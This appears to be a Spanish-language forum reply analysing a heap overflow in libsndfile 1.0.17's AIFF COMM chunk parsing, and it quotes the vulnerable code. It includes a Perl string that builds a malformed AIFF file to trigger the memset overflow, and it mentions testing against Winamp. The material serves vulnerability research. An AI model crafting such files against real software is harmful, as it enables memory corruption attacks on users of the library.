Anon, yo uso olly, ahi mire la doc que pusiste y encontre los chunks. En principio es tal como dijiste.. meto algo mas de info como para que sea mas claro el tema y veamos si podemos llegar a algo.
Al principio
\x46\x4f\x52\x4d
"FORM", la struct de este chunk:
typedef struct {
ID ckID;
long ckSize;
ID formType;
char chunks [];
} Chunk;
el chunk FORM es el que contiene todos los demas, o sea que despues le sigue el chunk COMM
\x43\x4f\x4d\x4d = "COMM"
repito su struct
typedef struct {
ID ckID;
long ckSize;
short numChannels;
unsigned long numSampleFrames;
short sampleSize;
extended sampleRate;
} CommonChunk;
El problema esta en la verificacion del ckSize(=comm_fmt->size) como bien dijiste, me baje la lib (libsndfile-1.0.17) y encontre esto en aiff_read_comm_chunk() (src/aiff.c),
if (comm_fmt->size == SIZEOF_AIFF_COMM)
comm_fmt->encoding = NONE_MARKER ;
else if (comm_fmt->size == SIZEOF_AIFC_COMM_MIN)
bytesread += psf_binheader_readf (psf, "Em", &(comm_fmt->encoding)) ;
else if (comm_fmt->size >= SIZEOF_AIFC_COMM)
{ unsigned char encoding_len ;
bytesread += psf_binheader_readf (psf, "Em1", &(comm_fmt->encoding), &encoding_len) ;
memset (psf->u.scbuf, 0, comm_fmt->size) ;
Se ve que se han equivocado en
if (comm_fmt->size >= SIZEOF_AIFC_COMM)
checkea si es mayor o igual unicamente, por lo que puede ser tan grande como queramos, de ahi que se buggea el memset, rompiendo el heap. Ahi marque entre llaves donde esta comm_fmt->size en el payload,
my $aiff =
"\x46\x4f\x52\x4d\x00\x04\xcd\xec\x41\x49\x46\x46\x43\x4f\x4d\x4d{\x41\x41\x41\x41}".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x5e\x01\x18\x0f\x3c\x0e\xe4".
"\x00";
O sea que en realidad todos los programas que usen esta lib serian vulnerables. Revise el code de la lib y no encontre checkeo de comm_fmt->size. En cuanto a winamp, en resumen escribi 0xFD00 y hay un access violation mas adelante, hasta ahora no encontre nada realmente util

....